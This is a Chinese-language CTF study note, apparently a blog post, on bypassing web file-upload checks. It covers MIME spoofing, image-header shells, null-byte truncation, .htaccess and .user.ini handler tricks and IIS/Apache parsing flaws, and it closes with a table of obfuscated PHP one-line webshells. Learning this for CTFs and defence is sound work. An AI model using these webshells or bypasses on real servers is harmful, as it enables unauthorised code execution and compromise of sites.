文件上传总结
文件上传
绕过方式
双写绕过
适合那种不报错,而是用的preg_replace等函数来替换掉,而且只替换了一次的
基本很少遇到。。。。太简单
mime绕过
mime绕过是修改Content-Type文件头,来欺骗服务器认为我们上传的是图片等无害的文件类型
一般可以修改成 image/jpeg
也很少遇到,也是太简单
文件头检查
这个还是挺多的,和其他绕过姿势一起被考察
上传的文件内容,开头会被检查
就所画的位置是文件内容,文件头检查会检查开头的字符符不符合他要求的格式
一般我们有两种方式
-
可以将一张图片和小马结合
在命令行输入: copy 1.png /b + 1.txt /a 2.png
就可以得到图片马骗过文件头检查
-
也可以在抓的包文件内容里直接修改
在文件内容前添加GIF89a? 不过这时候要求content-type格式为image/jpeg
00截断
00截断分两种 0x00和%00
0x00截断
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上
原理也是系统读取文件时,认为到了0x00就结束了,但是是文件16进制里的00,并不是文件名中的00
这里本人还没怎么遇到00截断的题,做的题还是太少了,所以先拿别人的图来凑数
当提交了一个php文件后,在php后加上一个空格和任意字母作为标识,好去找
打开hex
修改这个20为00,系统就会发生截断
原来的文本也就变成了这样,是因为0x00是不可见字符
#### %00截断
其实和0x00截断一样原理,只不过%00是在url中发挥作用
.htaccess文件绕过
看一下对他的解释
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
大概就是说.htaccess能改变读取文件的方式
语法
<FilesMatch "xxx">
SetHandler application/x-httpd-php
</FilesMatch>
意思为将xxx用php的方式读取,所以上传了一个图片马就可以直接用蚁剑连
.user.ini文件绕过
`.htaccess`只是适用于`apache`,如果变成`niginx`或者`iis`则不会被解析
所以.user.ini也是很牛逼的
现在大部分网站都是用的fastcgi
,这个东西我理解的是可以提供web服务器的一种api
,而apache
/nginx
/iis
这些服务器都会依靠这种api
来运行
而.user.ini
和.htaccess
一样是对当前目录的所以php
文件的配置设置,即写了.user.ini
和它同目录的文件会优先使用.user.ini
中设置的配置属性。
用法
auto_prepend_file=a.jpg意为打开任意文件都会自动包含a.jpg
特殊绕过
这个我不太知道原理,但是我遇到过,看到师傅们的wp
请求头里Content-Type: Multipart/form-data;字段大小写绕过,然后filename改为
php4、php5、phtml,phtm,php等
修改文件后缀名为上面的几个,格式为image/jpeg,文件内容在马前加上GIF89a?
解析漏洞
IIS5.x-6.x解析漏洞
目录解析
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件
文件解析
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa /test.cer /test.cdx
apache解析漏洞
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。 比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把 wooyun.php.owf.rar解析成php。
总结
其实,以后难题肯定不会只单纯考察一点,所以融会贯通,几种知识要综合起来
一句话木马
现在我们知道了一句话木马的关键便是命令的执行,同样php中也有一些命令执行函数可以代替eval,举例相应函数及使用:
assert()函数(ps:在PHP7.1版本以后,assert()默认不再可以执行代码) | |
---|---|
system()函数 | |
passthru()函数 | |
exec()函数 | |
shell_exec()函数 | |
使用反引号`执行代码(ps:要确保shell_exec函数可用,否则无法用) |
也可使用popen()函数打开进程执行命令,自行百度、尝试,这里不做举例。
如果你是开发者,当你使用这些函数来执行系统命令时,可以使用escapeshellcmd()和escapeshellarg()函数阻止用户恶意在系统上执行命令,escapeshellcmd()针对的是执行的系统命令,而escapeshellarg()针对的是执行系统命令的参数。
下面放一些比较常见的一句话木马,我们也可以根据丰富的php函数自行创造和修改(未具体尝试,如有出错欢迎评论指出)注意assert()的版本问题(上表格有提及,需要时自行修改):
普通的一句话GET方法(也可以用POST方法或者REQUEST等方法代替,下文也是如此) | |
---|---|
用php变量表示(ps:eval不能作为变量函数去执行) | <?php $a = "passthru";$a(@$_GET['pass']); ?> |
php变量表示变形1(ps:大小写混淆) | <?php $a="AssERT";$b=strtolower($a);@$b($_POST['pass']);?> |
php变量表示变形2(ps:字符串拼接) | <?php $a="e"."v";$b="a"."l";$c=$a.$b;$c($_POST['a']);?> |
php变量表示变形3(ps:字符串拼接、大小写混淆、字符串逆序) | <?php $a="TR"."Es"."sA";$b=strtolower($a);$c=strrev($b);@$c($_GET['pass']);?> |
PHP可变变量(ps:变量的变换) | <?php $b="assert";$a='b';$$a($_POST['pass']);?> `` |
使用create_function函数 | <?php $a=create_function('',$_POST['pass']);$a();?> `` |
自定义函数 | <?php function b($a){@eval($a);}@b($_POST['pass']);?> |
使用call_user_func()函数(ps:调用函数) | <?php @call_user_func(assert,$_POST['pass']);?> |
使用call_user_func_array()函数 | `<?php $array[0]=$_POST['pass'];@call_user_func_array(assert,$array);?>` |
base64_decode 函数 | |
preg_replace函数(ps:preg_replace 函数的第一个参数是一个正则表达式,后文会提到正则表达式。 如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。) |
<?php function a(){return $_POST['pass'];}@preg_replace("/test/e", a(),"test1");?> |
array_map()函数(ps:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。) | |
array_filter()函数 | |
pares_str函数(ps:结果$a=eval) | <?php $str="a=eval";parse_str($str);$a($_POST['pass']);?> |
str_replace函数(ps:结果$a=assert) | <?php $a = str_replace("test", "", "astestsert");$a($_POST['pass']);?> |
uasort()函数、usort()函数 | |
动态函数 |